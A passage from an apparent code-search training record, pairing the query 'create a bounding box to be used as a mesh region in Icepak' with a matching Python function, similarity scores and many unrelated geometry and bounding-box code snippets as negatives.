neighbors[neighbors!=v]\\n\\t\\tnl.append(neighbors)\\n\\t\\tedges = ptsb[neighbors]-ptsb[v]\\n\\t\\tweights = [areas[sl]/2./np.sum(areas[v2s[v]]) for sl in v2s[v]]\\n\\t\\ttijs = [vecnorm(np.dot(np.identity(3)-np.outer(vertnorms[v],\\n\\t\\t\\tvertnorms[v].T),ab)) for ab in edges]\\n\\t\\tkijs = [np.dot(vertnorms[v].T,ab)/linalg.norm(ab)**2 for ab in edges]\\n\\t\\tct = np.sum([weights[ind]*kijs[ind]*np.outer(tijs[ind],tijs[ind]) \\n\\t\\t\\tfor ind,i in enumerate(v2s[v])],axis=0)\\n\\t\\twsign = 1-2*(linalg.norm(np.array([1,0,0])+\\\\\\n\\t\\t\\tvertnorms[v])<linalg.norm(np.array([1,0,0])-vertnorms[v]))\\n\\t\\twvi = vecnorm(np.array([1,0,0])+wsign*vertnorms[v])\\n\\t\\thm = np.identity(3)-2*np.outer(wvi,wvi.T)\\n\\t\\thhm = np.dot(np.dot(hm.T,ct),hm)\\n\\t\\tprincipals[v] = -1*hhm[1,1],-1*hhm[2,2]\\n\\tif debug: checkpoint(\\\"[STATUS] PBC neighborlist %0.2f\\\"%(time.time()-st))\\n\\t#---neighborlist under PBCs\\n\\tchecksubssort,nlsubs = np.where(torusnorm(points[nmol:],points[:nmol],vec)==0)\\n\\t#if not all(checksubssort==np.arange(len(points)-nmol)): raise Exception('torusnorm lookup fail')\\n\\ttry: nlpbc = [[(i if i<nmol else nlsubs[i-nmol]) for i in n] for n in nl]\\n\\texcept: nlpbc = []\\n\\tgauss = (3*principals[:,0]-principals[:,1])*(3*principals[:,1]-\\\\\\n\\t\\tprincipals[:,0])\\n\\tmean = 1./2*((3*principals[:,0]-principals[:,1])+\\\\\\n\\t\\t(3*principals[:,1]-principals[:,0]))\\n\\tif debug: checkpoint(\\\"[STATUS] complete %0.2f\\\"%(time.time()-st))\\n\\n\\tif debug:\\n\\t\\timport matplotlib as mpl;import matplotlib.pylab as plt\\n\\t\\tplt.scatter(points[:,0],points[:,1])\\n\\t\\tplt.show()\\n\\t\\timport pdb;pdb.set_trace()\\n\\n\\treturn {'nmol':nmol,'vec':vec,'simplices':simplices,'points':points,\\n\\t\\t'areas':areas,'facenorms':facenorms,'vertnorms':vertnorms,'principals':principals,\\n\\t\\t'ghost_ids':ghost_indices,'gauss':gauss,'mean':mean}\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6748844","0.6687501","0.6588435","0.65406054","0.6470928","0.63661134","0.6353918","0.63378006","0.6313802","0.63055897","0.6254621","0.62144154","0.614839","0.6137772","0.61252075","0.602909","0.6011781","0.59770757","0.5933673","0.5916552","0.58993566","0.589477","0.58559906","0.5812872","0.58070153","0.5796809","0.5772668","0.5766582","0.5756939","0.57445467","0.57298183","0.57298183","0.57298183","0.57180446","0.5693931","0.5693872","0.56814265","0.56782037","0.5676999","0.5647114","0.563944","0.56373656","0.56359106","0.56253266","0.5617572","0.56110066","0.56056124","0.5595877","0.55941087","0.55914134","0.5566722","0.5564634","0.556002","0.55528677","0.55404806","0.55295867","0.55284476","0.55241877","0.55217165","0.5514954","0.55101943","0.5498254","0.5484176","0.5474455","0.5472606","0.54723173","0.54706144","0.54645896","0.54557395","0.54544574","0.5449317","0.54476625","0.5443448","0.544149","0.543828","0.5435201","0.5432663","0.5427945","0.5424711","0.541254","0.5411582","0.54108953","0.5403125","0.5401928","0.53979546","0.5397202","0.5386125","0.5381234","0.5378115","0.53778094","0.53773576","0.53762054","0.5369138","0.5358554","0.5356807","0.5350142","0.53496146","0.53449684","0.53359103","0.53319496","0.5331726"],"string":"[\n \"0.6748844\",\n \"0.6687501\",\n \"0.6588435\",\n \"0.65406054\",\n \"0.6470928\",\n \"0.63661134\",\n \"0.6353918\",\n \"0.63378006\",\n \"0.6313802\",\n \"0.63055897\",\n \"0.6254621\",\n \"0.62144154\",\n \"0.614839\",\n \"0.6137772\",\n \"0.61252075\",\n \"0.602909\",\n \"0.6011781\",\n \"0.59770757\",\n \"0.5933673\",\n \"0.5916552\",\n \"0.58993566\",\n \"0.589477\",\n \"0.58559906\",\n \"0.5812872\",\n \"0.58070153\",\n \"0.5796809\",\n \"0.5772668\",\n \"0.5766582\",\n \"0.5756939\",\n \"0.57445467\",\n \"0.57298183\",\n \"0.57298183\",\n \"0.57298183\",\n \"0.57180446\",\n \"0.5693931\",\n \"0.5693872\",\n \"0.56814265\",\n \"0.56782037\",\n \"0.5676999\",\n \"0.5647114\",\n \"0.563944\",\n \"0.56373656\",\n \"0.56359106\",\n \"0.56253266\",\n \"0.5617572\",\n \"0.56110066\",\n \"0.56056124\",\n \"0.5595877\",\n \"0.55941087\",\n \"0.55914134\",\n \"0.5566722\",\n \"0.5564634\",\n \"0.556002\",\n \"0.55528677\",\n \"0.55404806\",\n \"0.55295867\",\n \"0.55284476\",\n \"0.55241877\",\n \"0.55217165\",\n \"0.5514954\",\n \"0.55101943\",\n \"0.5498254\",\n \"0.5484176\",\n \"0.5474455\",\n \"0.5472606\",\n \"0.54723173\",\n \"0.54706144\",\n \"0.54645896\",\n \"0.54557395\",\n \"0.54544574\",\n \"0.5449317\",\n \"0.54476625\",\n \"0.5443448\",\n \"0.544149\",\n \"0.543828\",\n \"0.5435201\",\n \"0.5432663\",\n \"0.5427945\",\n \"0.5424711\",\n \"0.541254\",\n \"0.5411582\",\n \"0.54108953\",\n \"0.5403125\",\n \"0.5401928\",\n \"0.53979546\",\n \"0.5397202\",\n \"0.5386125\",\n \"0.5381234\",\n \"0.5378115\",\n \"0.53778094\",\n \"0.53773576\",\n \"0.53762054\",\n \"0.5369138\",\n \"0.5358554\",\n \"0.5356807\",\n \"0.5350142\",\n \"0.53496146\",\n \"0.53449684\",\n \"0.53359103\",\n \"0.53319496\",\n \"0.5331726\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":80086,"cells":{"query":{"kind":"string","value":"Create a bounding box to be used as a mesh region in Icepak."},"document":{"kind":"string","value":"def create_meshregion_component(\n self, scale_factor=1.0, name=\"Component_Region\", restore_padding_values=[50, 50, 50, 50, 50, 50]\n ):\n self.modeler.edit_region_dimensions([0, 0, 0, 0, 0, 0])\n\n verticesID = self.modeler.oeditor.GetVertexIDsFromObject(\"Region\")\n\n x_values = []\n y_values = []\n z_values = []\n\n for id in verticesID:\n tmp = self.modeler.oeditor.GetVertexPosition(id)\n x_values.append(tmp[0])\n y_values.append(tmp[1])\n z_values.append(tmp[2])\n\n scale_factor = scale_factor - 1\n delta_x = (float(max(x_values)) - float(min(x_values))) * scale_factor\n x_max = float(max(x_values)) + delta_x / 2.0\n x_min = float(min(x_values)) - delta_x / 2.0\n\n delta_y = (float(max(y_values)) - float(min(y_values))) * scale_factor\n y_max = float(max(y_values)) + delta_y / 2.0\n y_min = float(min(y_values)) - delta_y / 2.0\n\n delta_z = (float(max(z_values)) - float(min(z_values))) * scale_factor\n z_max = float(max(z_values)) + delta_z / 2.0\n z_min = float(min(z_values)) - delta_z / 2.0\n\n dis_x = str(float(x_max) - float(x_min))\n dis_y = str(float(y_max) - float(y_min))\n dis_z = str(float(z_max) - float(z_min))\n\n min_position = self.modeler.Position(str(x_min) + \"mm\", str(y_min) + \"mm\", str(z_min) + \"mm\")\n mesh_box = self.modeler.primitives.create_box(min_position, [dis_x + \"mm\", dis_y + \"mm\", dis_z + \"mm\"], name)\n\n self.modeler.primitives[name].model = False\n\n self.modeler.edit_region_dimensions(restore_padding_values)\n return dis_x, dis_y, dis_z"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def boundingBox(self):\n minx, miny, maxx, maxy = self.substrates.bounds\n return pcbnew.BOX2I(\n pcbnew.VECTOR2I(int(minx), int(miny)),\n pcbnew.VECTOR2I(int(maxx - minx), int(maxy - miny)))","def bounding_box(self):\n # We use the solution described in\n # https://stackoverflow.com/a/14163413\n cos_theta = np.cos(self.angle)\n sin_theta = np.sin(self.angle)\n width_x = 0.5 * self.width * cos_theta\n width_y = 0.5 * self.width * sin_theta\n height_x = 0.5 * self.height * -sin_theta\n height_y = 0.5 * self.height * cos_theta\n dx = np.sqrt(width_x**2 + height_x**2)\n dy = np.sqrt(width_y**2 + height_y**2)\n\n xmin = self.center.x - dx\n xmax = self.center.x + dx\n ymin = self.center.y - dy\n ymax = self.center.y + dy\n\n return RegionBoundingBox.from_float(xmin, xmax, ymin, ymax)","def bounding_box(self):\n latlon00 = self.ij_to_latlon(-1,-1)\n latlon01 = self.ij_to_latlon(-1,self.domain_size[1]+1)\n latlon11 = self.ij_to_latlon(self.domain_size[0]+1,self.domain_size[1]+1)\n latlon10 = self.ij_to_latlon(self.domain_size[0]+1,-1)\n return (latlon00,latlon01,latlon11,latlon10)","def get_boundingbox(face, width, height, scale=1.3, minsize=None):\n x1 = face.left()\n y1 = face.top()\n x2 = face.right()\n y2 = face.bottom()\n size_bb = int(max(x2 - x1, y2 - y1) * scale)\n if minsize:\n if size_bb < minsize:\n size_bb = minsize\n center_x, center_y = (x1 + x2) // 2, (y1 + y2) // 2\n\n # Check for out of bounds, x-y top left corner\n x1 = max(int(center_x - size_bb // 2), 0)\n y1 = max(int(center_y - size_bb // 2), 0)\n # Check for too big bb size for given x, y\n size_bb = min(width - x1, size_bb)\n size_bb = min(height - y1, size_bb)\n\n return x1, y1, size_bb","def canvas_bounds(self) -> utils.BoxRegion:","def to_bounding_box(self):\n if self.bbox is not None:\n return self.bbox\n from .bbox import BBox\n\n xx = self.xx\n yy = self.yy\n self.bbox = BBox(xmin=min(xx), xmax=max(xx), ymin=min(yy), ymax=max(yy), label=self.label, **self.fields)\n return self.bbox","def bbox(bbox = [(-1, -1), (3, 4)], layer = 0):\n D = Device(name = 'bbox')\n (a,b), (c,d) = bbox\n points = ((a,b), (c,b), (c,d), (a,d))\n D.add_polygon(points, layer = layer)\n return D","def bbox(\n bbox: Tuple[Coordinate, Coordinate] = ((-1.0, -1.0), (3.0, 4.0)),\n layer: Tuple[int, int] = (1, 0),\n top: float = 0,\n bottom: float = 0,\n left: float = 0,\n right: float = 0,\n) -> gf.Component:\n D = gf.Component()\n (xmin, ymin), (xmax, ymax) = bbox\n points = [\n [xmin - left, ymin - bottom],\n [xmax + right, ymin - bottom],\n [xmax + right, ymax + top],\n [xmin - left, ymax + top],\n ]\n D.add_polygon(points, layer=layer)\n return D","def bounding_box(primitive):\n\n if primitive[\"shape\"] == \"circle\":\n bbox = [[primitive[\"center\"][0] - primitive[\"radius\"],\n primitive[\"center\"][1] - primitive[\"radius\"]],\n [primitive[\"center\"][0] + primitive[\"radius\"],\n primitive[\"center\"][1] + primitive[\"radius\"]]]\n else:\n x_coords, y_coords = zip(*primitive[\"vertices\"])\n bbox = [[min(x_coords), min(y_coords)],\n [max(x_coords), max(y_coords)]]\n\n primitive[\"bounding_box\"] = bbox\n return primitive","def from_bounds(cls, bounds) -> \"Box\":\n return cls(\n x=bounds[\"left\"],\n y=bounds[\"top\"],\n width=bounds[\"right\"] - bounds[\"left\"],\n height=bounds[\"bottom\"] - bounds[\"top\"],\n )","def get_bounding_box(self):\n lon, lat = self.coordinates\n\n ll = (np.min(lon),np.min(lat))\n ul = (np.min(lon),np.max(lat))\n ur = (np.max(lon),np.max(lat))\n lr = (np.max(lon),np.min(lat))\n\n return (ll, ul, ur, lr)","def bounding_box(self):\n return None","def boundingBox(self):\n y_max = np.max(self.points[:,0])\n x_max = np.max(self.points[:,1])\n y_min = np.min(self.points[:,0])\n x_min = np.min(self.points[:,1])\n \n return ((x_max, y_max), (x_min, y_min))","def b_create_base_geometry(b_name):\n b_obj = b_create_cube(b_name)\n return b_obj","def checkBoundingBox(ontology_bounding_box):\n heigth = ontology_bounding_box.has_heigth[0]\n width = ontology_bounding_box.has_width[0]\n length = ontology_bounding_box.has_length[0]\n x = ontology_bounding_box.has_x_center[0]\n y = ontology_bounding_box.has_y_center[0]\n z = ontology_bounding_box.has_z_center[0]\n return xosc.BoundingBox(width,length,heigth,x,y,z)","def bounding_box(vertices, (height, width), extend=5):\n x_min = min(x for x, y in vertices) - extend\n x_max = max(x for x, y in vertices) + extend\n y_min = min(y for x, y in vertices) - extend\n y_max = max(y for x, y in vertices) + extend\n \n return max(x_min, 0), min(x_max, width), max(y_min, 0), min(y_max, height)","def boundingBoxArea(box):\n return (box[2] - box[0] + 1) * (box[3] - box[1] + 1)","def box(self):\n b = Bnd_Box()\n brepbndlib_Add(self.topods_shape(), b)\n return geom_utils.box_to_geometry(b)","def BoundingBoxes(self, show_plot=False, figure=None):\n\n self.__do_essential_memebers_exist__()\n\n ndim = self.InferSpatialDimension()\n all_elem_coords = self.points[self.elements]\n mins = all_elem_coords.min(axis=1)\n maxs = all_elem_coords.max(axis=1)\n bboxes = np.zeros((2*self.nelem,self.points.shape[1]))\n bboxes[::2] = mins\n bboxes[1::2] = maxs\n bboxes = bboxes.reshape(self.nelem,2,self.points.shape[1])\n\n if show_plot:\n if ndim == 3:\n point_generator = lambda bbox: np.array([\n [ bbox[0,0], bbox[0,1], bbox[0,2] ],\n [ bbox[1,0], bbox[0,1], bbox[0,2] ],\n [ bbox[1,0], bbox[1,1], bbox[0,2] ],\n [ bbox[0,0], bbox[1,1], bbox[0,2] ],\n [ bbox[0,0], bbox[0,1], bbox[1,2] ],\n [ bbox[1,0], bbox[0,1], bbox[1,2] ],\n [ bbox[1,0], bbox[1,1], bbox[1,2] ],\n [ bbox[0,0], bbox[1,1], bbox[1,2] ]\n ])\n elif ndim == 2:\n point_generator = lambda bbox: np.array([\n [ bbox[0,0], bbox[0,1] ],\n [ bbox[1,0], bbox[0,1] ],\n [ bbox[1,0], bbox[1,1] ],\n [ bbox[0,0], bbox[1,1] ]\n ])\n\n nsize = 4 if ndim ==2 else 8\n ranger = np.arange(nsize)\n bmesh = Mesh()\n bmesh.element_type = \"quad\" if ndim ==2 else \"hex\"\n bmesh.elements = np.arange(self.nelem*nsize).reshape(self.nelem,nsize)\n bmesh.points = np.zeros((self.nelem*nsize,ndim))\n bmesh.nelem = self.nelem\n bmesh.nnode = bmesh.points.shape[0]\n for i in range(0,self.nelem):\n bmesh.points[i*nsize:(i+1)*nsize,:] = point_generator(bboxes[i])\n\n if ndim == 2:\n import matplotlib.pyplot as plt\n if figure is None:\n figure = plt.figure()\n self.SimplePlot(figure=figure, show_plot=False)\n bmesh.SimplePlot(figure=figure, show_plot=False, edge_color='r')\n plt.show()\n else:\n import os\n os.environ['ETS_TOOLKIT'] = 'qt4'\n from mayavi import mlab\n if figure is None:\n figure = mlab.figure(bgcolor=(1,1,1),fgcolor=(1,1,1),size=(1000,800))\n self.SimplePlot(figure=figure, show_plot=False)\n bmesh.SimplePlot(figure=figure, show_plot=False, plot_faces=False, edge_color='r')\n mlab.show()\n\n return bboxes","def bounding_box(self, index_or_id):\n\n\t\tcell_index = self.grid.insure_index(index_or_id)\n\n\t\tleft = self.cell_size[0] * cell_index[1] + self.origin[0]\n\t\ttop = self.cell_size[1] * cell_index[0] + self.origin[1]\n\t\tright = left + self.cell_size[0]\n\t\tbottom = top + self.cell_size[1]\n\t\treturn (left, top, right, bottom)","def set_box(self) -> None:\n from pymol import cmd\n\n # Delete Box object in PyMOL\n if \"box\" in cmd.get_names(\"selections\"):\n cmd.delete(\"box\")\n # Get dimensions of selected residues\n selection = \"sele\"\n if selection in cmd.get_names(\"selections\"):\n ([min_x, min_y, min_z], [max_x, max_y, max_z]) = cmd.get_extent(selection)\n else:\n ([min_x, min_y, min_z], [max_x, max_y, max_z]) = cmd.get_extent(\"\")\n \n # Get center of each dimension (x, y, z)\n self.x = (min_x + max_x) / 2\n self.y = (min_y + max_y) / 2\n self.z = (min_z + max_z) / 2\n\n # Set Box variables in interface\n self.min_x.setValue(round(self.x - (min_x - self.padding.value()), 1))\n self.max_x.setValue(round((max_x + self.padding.value()) - self.x, 1))\n self.min_y.setValue(round(self.y - (min_y - self.padding.value()), 1))\n self.max_y.setValue(round((max_y + self.padding.value()) - self.y, 1))\n self.min_z.setValue(round(self.z - (min_z - self.padding.value()), 1))\n self.max_z.setValue(round((max_z + self.padding.value()) - self.z, 1))\n self.angle1.setValue(0)\n self.angle2.setValue(0)\n\n # Setting background box values\n self.min_x_set = self.min_x.value()\n self.max_x_set = self.max_x.value()\n self.min_y_set = self.min_y.value()\n self.max_y_set = self.max_y.value()\n self.min_z_set = self.min_z.value()\n self.max_z_set = self.max_z.value()\n self.angle1_set = self.angle1.value()\n self.angle2_set = self.angle2.value()\n self.padding_set = self.padding.value()\n\n # Draw box\n self.draw_box()\n\n # Enable/Disable buttons\n self.button_draw_box.setEnabled(False)\n self.button_redraw_box.setEnabled(True)\n self.min_x.setEnabled(True)\n self.min_y.setEnabled(True)\n self.min_z.setEnabled(True)\n self.max_x.setEnabled(True)\n self.max_y.setEnabled(True)\n self.max_z.setEnabled(True)\n self.angle1.setEnabled(True)\n self.angle2.setEnabled(True)","def calc_bounding_box(self):\n self.BB = self.geos.abs_el(0).BB\n for geo in self.geos.abs_iter():\n self.BB = self.BB.joinBB(geo.BB)","def get_bound(box_list):\n box_xyxy_list = []\n for box in box_list:\n box_xyxy = xywh2xyxy(box)\n box_xyxy_list.append(box_xyxy)\n\n box_xyxy_list = np.array(box_xyxy_list)\n x1max, y1max, x2max, y2max = np.amax(box_xyxy_list, axis=0)\n x1min, y1min, x2min, y2min = np.amin(box_xyxy_list, axis=0)\n\n boundbox = xyxy2xywh([x1min, y1min, x2max, y2max])\n return boundbox","def bounding_box(self):\n box_min = []\n box_max = []\n if self.is_empty():\n raise ValueError('empty polytope is not allowed')\n for i in range(0, self.space_dimension()):\n x = Variable(i)\n coords = [ v.coefficient(x) for v in self.generators() ]\n max_coord = max(coords)\n min_coord = min(coords)\n box_max.append(max_coord)\n box_min.append(min_coord)\n return (tuple(box_min), tuple(box_max))","def containing(*boxes):\n if not boxes:\n raise ValueError('At least one bounding box must be specified')\n boxes_objs = map(BoundingBox, boxes)\n start = boxes_objs[0].start\n end = boxes_objs[0].end\n for box in boxes_objs[1:]:\n start = np.minimum(start, box.start)\n end = np.maximum(end, box.end)\n return BoundingBox(start=start, end=end)","def _polygons_to_bboxes(polygons):\n# Build bounding boxes\n bboxes = np.empty([len(polygons), 4])\n for n, p in enumerate(polygons):\n try:\n left, bottom = np.min(p, axis = 0)\n except:\n import pdb\n pdb.set_trace()\n right, top = np.max(p, axis = 0)\n bboxes[n] = [left, bottom, right, top]\n return bboxes","def get_bounding_box(uv_coor, shape):\r\n\txmin = ymin = 99999\r\n\txmax = ymax = 0\r\n\tfor x, y in uv_coor:\r\n\t\txmin = min(xmin, int(x))\r\n\t\txmax = max(xmax, int(x))\r\n\t\tymin = min(ymin, int(y))\r\n\t\tymax = max(ymax, int(y))\r\n\txmin = max(0, xmin - 20)\r\n\tymin = max(0, ymin - 20)\r\n\r\n\txmax = min(shape[1], xmax + 20)\r\n\tymax = min(shape[0], ymax + 20)\r\n\r\n\treturn xmin, xmax, ymin, ymax","def bounding_box(self):\n if self._owcs.pixel_bounds is None:\n if self._owcs.pixel_shape is not None:\n nx, ny = self._owcs.pixel_shape\n elif self._owcs.array_shape is not None:\n ny, nx = self._owcs.array_shape\n else:\n return None\n\n return ((-0.5, nx - 0.5), (-0.5, ny - 0.5))\n\n else:\n return self._owcs.pixel_bounds","def bounding_box(self):\n if self._owcs.pixel_bounds is None:\n if self._owcs.pixel_shape is not None:\n nx, ny = self._owcs.pixel_shape\n elif self._owcs.array_shape is not None:\n ny, nx = self._owcs.array_shape\n else:\n return None\n\n return ((-0.5, nx - 0.5), (-0.5, ny - 0.5))\n\n else:\n return self._owcs.pixel_bounds","def write_bounding_box(parameters, outfile, write_deformed=True):\n aux_x = np.linspace(0, parameters.lenght_box[0],\n parameters.n_control_points[0])\n aux_y = np.linspace(0, parameters.lenght_box[1],\n parameters.n_control_points[1])\n aux_z = np.linspace(0, parameters.lenght_box[2],\n parameters.n_control_points[2])\n lattice_y_coords, lattice_x_coords, lattice_z_coords = np.meshgrid(\n aux_y, aux_x, aux_z)\n\n if write_deformed:\n box_points = np.array([ \\\n lattice_x_coords.ravel() + parameters.array_mu_x.ravel() * parameters.lenght_box[0], \\\n lattice_y_coords.ravel() + parameters.array_mu_y.ravel() * parameters.lenght_box[1], \\\n lattice_z_coords.ravel() + parameters.array_mu_z.ravel() * parameters.lenght_box[2]])\n else:\n box_points = np.array([lattice_x_coords.ravel(), lattice_y_coords.ravel(), \\\n lattice_z_coords.ravel()])\n\n n_rows = box_points.shape[1]\n\n box_points = np.dot(parameters.rotation_matrix, box_points) + \\\n np.transpose(np.tile(parameters.origin_box, (n_rows, 1)))\n\n # step necessary to set the correct order to the box points for vtkStructuredGrid:\n # Data in vtkStructuredGrid are ordered with x increasing fastest, then y, then z\n dims = lattice_y_coords.shape\n aux_xx = box_points[0, :].reshape(dims).ravel(order='f')\n aux_yy = box_points[1, :].reshape(dims).ravel(order='f')\n aux_zz = box_points[2, :].reshape(dims).ravel(order='f')\n reordered_box_points = np.array((aux_xx, aux_yy, aux_zz))\n\n _write_vtk_box(reordered_box_points, outfile, parameters.n_control_points)","def GetBounds(self, vtkAMRBox, , , p_float=..., p_float=..., p_float=..., p_float=..., p_float=..., p_float=...):\n ...","def bbox(self, node):\n node_id = node.get('id')\n #inkex.utils.debug(\"Check if \" + str(node_id) + \" is in \" + str(self.node_info))\n info = self.node_info[node_id] \n \n x = info.x\n y = info.y\n width = info.width\n height = info.height\n\n return Box(Point(x, y),\n Point(x + width, y),\n Point(x + width, y + height),\n Point(x, y + height))","def boundingBox(self):\n pmodel = (glm.vec3(1, -self.y_sign, 0)\n * self.model.pos * self.transform.scale)\n x, y, _ = self.transform.pos + pmodel\n y += -self.y_sign * self.font.table['ascent'] * self.transform.scale[1]\n return x, y, self.pixwidth(), self.pixheight()","def create_bounds(self):\n # Bounds should be created for\n x0, y0 = (0, 0)\n x1 = self.game_area_size[0]\n y1 = self.game_area_size[1]\n space = self.space\n\n borders = [\n phy.Segment(space.static_body, phy.Vec2d(x0, y0), phy.Vec2d(x1, y0), 0),\n phy.Segment(space.static_body, phy.Vec2d(x0, y0), phy.Vec2d(x0, y1), 0),\n phy.Segment(space.static_body, phy.Vec2d(x1, y0), phy.Vec2d(x1, y1), 0),\n phy.Segment(space.static_body, phy.Vec2d(x0, y1), phy.Vec2d(x1, y1), 0),\n ]\n for b in borders:\n b.elasticity = 0.5\n self.space.add(borders)","def draw_bounding_box(self):\n # Gets the bounding box\n xmin, ymin, xmax, ymax = self.get_bounding_box()\n\n # Gets the actual coordinates\n width = xmax - xmin\n height = ymax - ymin\n center_x = xmin + (width)/2\n center_y = ymin + (height)/2\n\n arcade.draw_rectangle_outline(center_x, center_y, width, height, (255, 0, 0))","def bounds(self):\n frame_ = self.to_frame().total_bounds.flatten().tolist()\n return BBox(\n left=frame_[0], bottom=frame_[1], right=frame_[2], top=frame_[3]\n )","def create_node_bouding_box(node, bbox_name):\n x1, y1, z1, x2, y2, z2 = cmds.exactWorldBoundingBox(node)\n cube = cmds.polyCube()[0]\n\n # Get the centre point for each axis\n centre_points = [\n (x2 + x1) / 2.0,\n (y2 + y1) / 2.0,\n (z2 + z1) / 2.0\n ]\n\n # Scale up the cube to fit.\n bbox_scale = [\n x2 - x1,\n y2 - y1,\n z2 - z1\n ]\n\n cmds.move(centre_points[0], centre_points[1], centre_points[2], cube)\n cmds.scale(bbox_scale[0], bbox_scale[1], bbox_scale[2], cube)\n\n cube = cmds.ls(cube, long=True)\n bbox = cmds.rename(cube, bbox_name)\n\n return bbox","def bounds(self):\n return self._bboxes[0][0] #TODO: merge all coverages","def bounding_box(safe, priority='reference', polarization='hh', orbits='Orbits', epsg=4326):\n frames = []\n for swath in range(1, 4):\n rdr = Sentinel1()\n rdr.configure()\n rdr.safe = [os.path.abspath(safe)]\n rdr.output = priority\n rdr.orbitDir = os.path.abspath(orbits)\n rdr.auxDir = os.path.abspath(orbits)\n rdr.swathNumber = swath\n rdr.polarization = polarization\n rdr.parse()\n frames.append(rdr.product)\n\n first_burst = frames[0].bursts[0]\n sensing_start = min([x.sensingStart for x in frames])\n sensing_stop = max([x.sensingStop for x in frames])\n starting_range = min([x.startingRange for x in frames])\n far_range = max([x.farRange for x in frames])\n range_pixel_size = first_burst.rangePixelSize\n prf = 1.0 / first_burst.azimuthTimeInterval\n\n orb = Orbit()\n orb.configure()\n\n for state_vector in first_burst.orbit:\n orb.addStateVector(state_vector)\n\n for frame in frames:\n for burst in frame.bursts:\n for state_vector in burst.orbit:\n if state_vector.time < orb.minTime or state_vector.time > orb.maxTime:\n orb.addStateVector(state_vector)\n\n obj = Geogrid()\n obj.configure()\n\n obj.startingRange = starting_range\n obj.rangePixelSize = range_pixel_size\n obj.sensingStart = sensing_start\n obj.prf = prf\n obj.lookSide = -1\n obj.numberOfLines = int(np.round((sensing_stop - sensing_start).total_seconds() * prf))\n obj.numberOfSamples = int(np.round((far_range - starting_range)/range_pixel_size))\n obj.orbit = orb\n obj.epsg = epsg\n\n obj.determineBbox()\n\n lat_limits = obj._xlim\n lon_limits = obj._ylim\n\n log.info(f'Latitude limits [min, max]: {lat_limits}')\n log.info(f'Longitude limits [min, max]: {lon_limits}')\n\n return lat_limits, lon_limits","def bbox(self):\n lower = (self.x.min(), self.y.min())\n upper = (self.x.max(), self.y.max())\n return (lower, upper)","def create(cls, boxCon):\n\t\tarray = boxCon.tolist()\n\t\tstartX = min(boxCon, key = lambda vertex : vertex[0][0])[0][0]\n\t\tendX = max(boxCon, key = lambda vertex : vertex[0][0])[0][0]\n\t\tstartY = min(boxCon, key = lambda vertex : vertex[0][1])[0][1]\n\t\tendY = max(boxCon, key = lambda vertex : vertex[0][1])[0][1]\n\t\tbox = cls(startX, startY, endX - startX, endY - startY)\n\t\treturn box","def boundingbox(self, *args, **kwargs):\n return _image.image_boundingbox(self, *args, **kwargs)","def calculate_bounding_box(coordinates, backbone_trace = []):\n coords = numpy.array(coordinates)\n if(len(backbone_trace)>0):\n [max_x,max_y,max_z] = numpy.max([numpy.max(numpy.max(coords,1),0).tolist()]+[numpy.max(backbone_trace,0).tolist()],0)\n [min_x,min_y,min_z] = numpy.min([numpy.min(numpy.min(coords,1),0).tolist()]+[numpy.min(backbone_trace,0).tolist()],0)\n else:\n [max_x,max_y,max_z] = numpy.max(numpy.max(coords,1),0)\n [min_x,min_y,min_z] = numpy.min(numpy.min(coords,1),0)\n\n center = numpy.array([min_x,min_y,min_z]) + ((numpy.array([max_x,max_y,max_z])-numpy.array([min_x,min_y,min_z])) /2.)\n return ([[max_x, max_y, max_z],\n [max_x, max_y, min_z],\n [max_x, min_y, max_z],\n [max_x, min_y, min_z],\n [min_x, max_y, max_z],\n [min_x, max_y, min_z],\n [min_x, min_y, max_z],\n [min_x, min_y, min_z]], center.tolist(), [max_x,max_y,max_z])","def make_box(self, name=None) -> 'Box':\n\n if self.size().x == 0:\n box = Rect(self.size().z, self.size().y, name=name)\n box.ry(90)\n elif self.size().y == 0:\n box = Rect(self.size().x, self.size().z, name=name)\n box.rx(90)\n elif self.size().z == 0:\n box = Rect(self.size().x, self.size().y, name=name)\n else:\n box = Box(*self.size().asArray(), name=name)\n\n box.place(\n ~box == ~self,\n ~box == ~self,\n ~box == ~self)\n return box","def _initialise_aabb(self):\n # calculate the bounding box for all tetraherdon in the mesh\n # find the min/max extents for xyz\n tetra_bb = np.zeros((self.elements.shape[0], 19, 3))\n minx = np.min(self.nodes[self.elements[:, :4], 0], axis=1)\n maxx = np.max(self.nodes[self.elements[:, :4], 0], axis=1)\n miny = np.min(self.nodes[self.elements[:, :4], 1], axis=1)\n maxy = np.max(self.nodes[self.elements[:, :4], 1], axis=1)\n minz = np.min(self.nodes[self.elements[:, :4], 2], axis=1)\n maxz = np.max(self.nodes[self.elements[:, :4], 2], axis=1)\n cell_indexes = self.aabb_grid.global_index_to_cell_index(\n np.arange(self.aabb_grid.n_elements)\n )\n corners = self.aabb_grid.cell_corner_indexes(cell_indexes)\n positions = self.aabb_grid.node_indexes_to_position(corners)\n ## Because we known the node orders just select min/max from each\n # coordinate. Use these to check whether the tetra is in the cell\n x_boundary = positions[:, [0, 1], 0]\n y_boundary = positions[:, [0, 2], 1]\n z_boundary = positions[:, [0, 6], 2]\n a = np.logical_and(\n minx[None, :] > x_boundary[:, None, 0],\n minx[None, :] < x_boundary[:, None, 1],\n ) # min point between cell\n b = np.logical_and(\n maxx[None, :] < x_boundary[:, None, 1],\n maxx[None, :] > x_boundary[:, None, 0],\n ) # max point between cell\n c = np.logical_and(\n minx[None, :] < x_boundary[:, None, 0],\n maxx[None, :] > x_boundary[:, None, 0],\n ) # min point < than cell & max point > cell\n\n x_logic = np.logical_or(np.logical_or(a, b), c)\n\n a = np.logical_and(\n miny[None, :] > y_boundary[:, None, 0],\n miny[None, :] < y_boundary[:, None, 1],\n ) # min point between cell\n b = np.logical_and(\n maxy[None, :] < y_boundary[:, None, 1],\n maxy[None, :] > y_boundary[:, None, 0],\n ) # max point between cell\n c = np.logical_and(\n miny[None, :] < y_boundary[:, None, 0],\n maxy[None, :] > y_boundary[:, None, 0],\n ) # min point < than cell & max point > cell\n\n y_logic = np.logical_or(np.logical_or(a, b), c)\n\n a = np.logical_and(\n minz[None, :] > z_boundary[:, None, 0],\n minz[None, :] < z_boundary[:, None, 1],\n ) # min point between cell\n b = np.logical_and(\n maxz[None, :] < 